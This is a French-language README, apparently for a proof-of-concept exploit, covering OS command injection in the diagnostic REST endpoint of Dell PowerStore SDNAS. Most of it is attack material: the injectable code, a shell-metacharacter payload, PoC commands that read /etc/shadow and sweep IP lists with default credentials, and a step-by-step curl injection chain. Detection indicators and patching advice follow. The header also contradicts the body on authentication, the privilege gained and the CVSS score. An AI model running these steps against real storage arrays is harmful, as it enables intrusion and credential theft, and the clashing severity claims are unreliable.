
Dell PowerStore SDNAS — Injection de commandes OS non authentifiée via l'API REST menant à une RCE en tant que root. CVSS 3.1 : 9.8 Critique.
Le composant Software-Defined NAS (SDNAS) de Dell PowerStore expose une API REST pour
les diagnostics réseau qui transmet des paramètres contrôlés par l'utilisateur directement
aux commandes OS sous-jacentes sans assainissement. Un attaquant disposant de n'importe
quel identifiant API valide peut injecter des métacaractères de shell dans le paramètre
nslookup_host du point de terminaison de diagnostic SDNAS, obtenant ainsi une exécution
de code à distance sous le compte de service storageadmin.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-116448 |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (Injection de commandes OS) |
| Affecté | Dell PowerStore OS <= 3.6.0.0 avec SDNAS activé |
| Correctif | PowerStore OS 4.0.0.1 |
| Authentification requise | Faible (des identifiants API en lecture seule suffisent) |
| Divulgué | 2026-11-19 |
Le service de diagnostic SDNAS transmet nslookup_host directement dans une invocation
de shell sans assainissement (reconstitué à partir du sdnas_diag_service décompilé) :
# VULNERABLE — sdnas/diagnostic_service.py (reconstructed)
def run_network_diagnostics(params: dict) -> dict:
host = params.get("nslookup_host", "")
# CWE-78: direct string interpolation into shell=True call
result = subprocess.check_output(
f"nslookup {host} 2>&1",
shell=True, timeout=10
)
return {"output": result.decode()}
Une charge utile de 8.8.8.8; id; hostname # provoque l'exécution des commandes injectées
et renvoie leur sortie dans la réponse JSON.
flowchart LR
A([Attacker]) -->|POST /api/rest/login_sessions| B[PowerStore REST API]
B -->|DELL-EMC-TOKEN| A
A -->|GET /api/rest/sdnas_node| B
B -->|node list + IDs| A
A -->|POST sdnas_node/ID/action/diagnose_network| B
B -->|shell=True executes injected cmd| C[OS Shell]
C -->|stdout in JSON response| D([RCE output])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style D fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
pip install -r requirements.txt
id)python poc.py -u https://powerstore.corp --username svc_monitor --password Monitor1!
python poc.py -u https://powerstore.corp \
--username svc_monitor --password Monitor1! \
--cmd "cat /etc/shadow" -o results.json
python poc.py -u https://powerstore.corp --check-only --insecure
python poc.py --ip-list scope.txt --username admin --password admin \
--proxy http://127.0.0.1:8080 --insecure --delay 1.5
# 1. Authenticate
curl -sk -X POST https://TARGET/api/rest/login_sessions \
-H 'Content-Type: application/json' \
-d '{"username":"svc_monitor","password":"Monitor1!","is_async":false}' \
-c cookies.txt -D - | grep DELL-EMC-TOKEN
# 2. List SDNAS nodes
curl -sk https://TARGET/api/rest/sdnas_node \
-H 'DELL-EMC-TOKEN: <token>' -c cookies.txt
# 3. Inject (replace NODE_ID)
curl -sk -X POST \
"https://TARGET/api/rest/sdnas_node/NODE_ID/action/diagnose_network" \
-H 'Content-Type: application/json' -H 'DELL-EMC-TOKEN: <token>' \
-d '{"nslookup_host":"8.8.8.8; id; hostname #"}' -c cookies.txt
| Option | Description |
|---|---|
-u / --url | URL de base cible |
--ip | IP cible — construit https://IP:PORT |
--ip-list FILE | IP/URL séparées par des retours à la ligne |
--port INT | Port HTTPS (par défaut : 443) |
--username STR | Nom d'utilisateur de l'API (par défaut : admin) |
--password STR | Mot de passe de l'API |
--cmd STR | Commande système à exécuter (par défaut : id) |
--check-only | Empreinte uniquement, sans exploitation |
--proxy URL | Proxy HTTP (par ex. http://127.0.0.1:8080) |
--insecure | Désactiver la vérification du certificat TLS |
-o / --output FILE | Écrire les résultats JSON dans un fichier |
--timeout INT | Délai d'expiration des requêtes en secondes (par défaut : 15) |
--retries INT | Nombre de tentatives en cas d'erreur de connexion (par défaut : 2) |
--delay FLOAT | Délai entre les cibles (par défaut : 0.5) |
-v / --verbose | Journalisation détaillée des requêtes/réponses |
| Indicateur | Remarques |
|---|---|
POST .*/sdnas_node/.*/action/diagnose_network avec ; ou | dans le corps | Métacaractères de shell dans nslookup_host |
Processus enfants inhabituels de sdnas_diag (sh, bash, wget, curl) | EDR / journal d'audit des processus |
| DNS/HTTP sortants depuis l'interface de gestion PowerStore vers des hôtes inconnus | Surveillance réseau |
| Connexion à l'API REST depuis des IP sources inattendues | Alerte SIEM sur les événements de connexion |
Tout identifiant d'API valide (y compris les comptes de supervision) permet une escalade vers une exécution de code à distance en tant que storageadmin. Les conséquences incluent l'exfiltration complète des métadonnées de sauvegarde, des configurations de volumes, la récupération d'identifiants depuis /etc/shadow, et un pivot vers le réseau de gestion interne de la baie de stockage.
| Action | Détail |
|---|---|
| Mise à niveau | Appliquer Dell PowerStore OS 4.0.0.1 ou une version ultérieure |
| Segmentation | Restreindre l'API de gestion (port 443) aux sous-réseaux d'administration uniquement |
| Surveillance | Alerter sur les appels à diagnose_network depuis des comptes non administrateurs |
| Rotation | Auditer et renouveler tous les identifiants d'API des comptes de service |
Avertissement : Publié à des fins de recherche en sécurité autorisée et de divulgation responsable uniquement. À utiliser exclusivement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.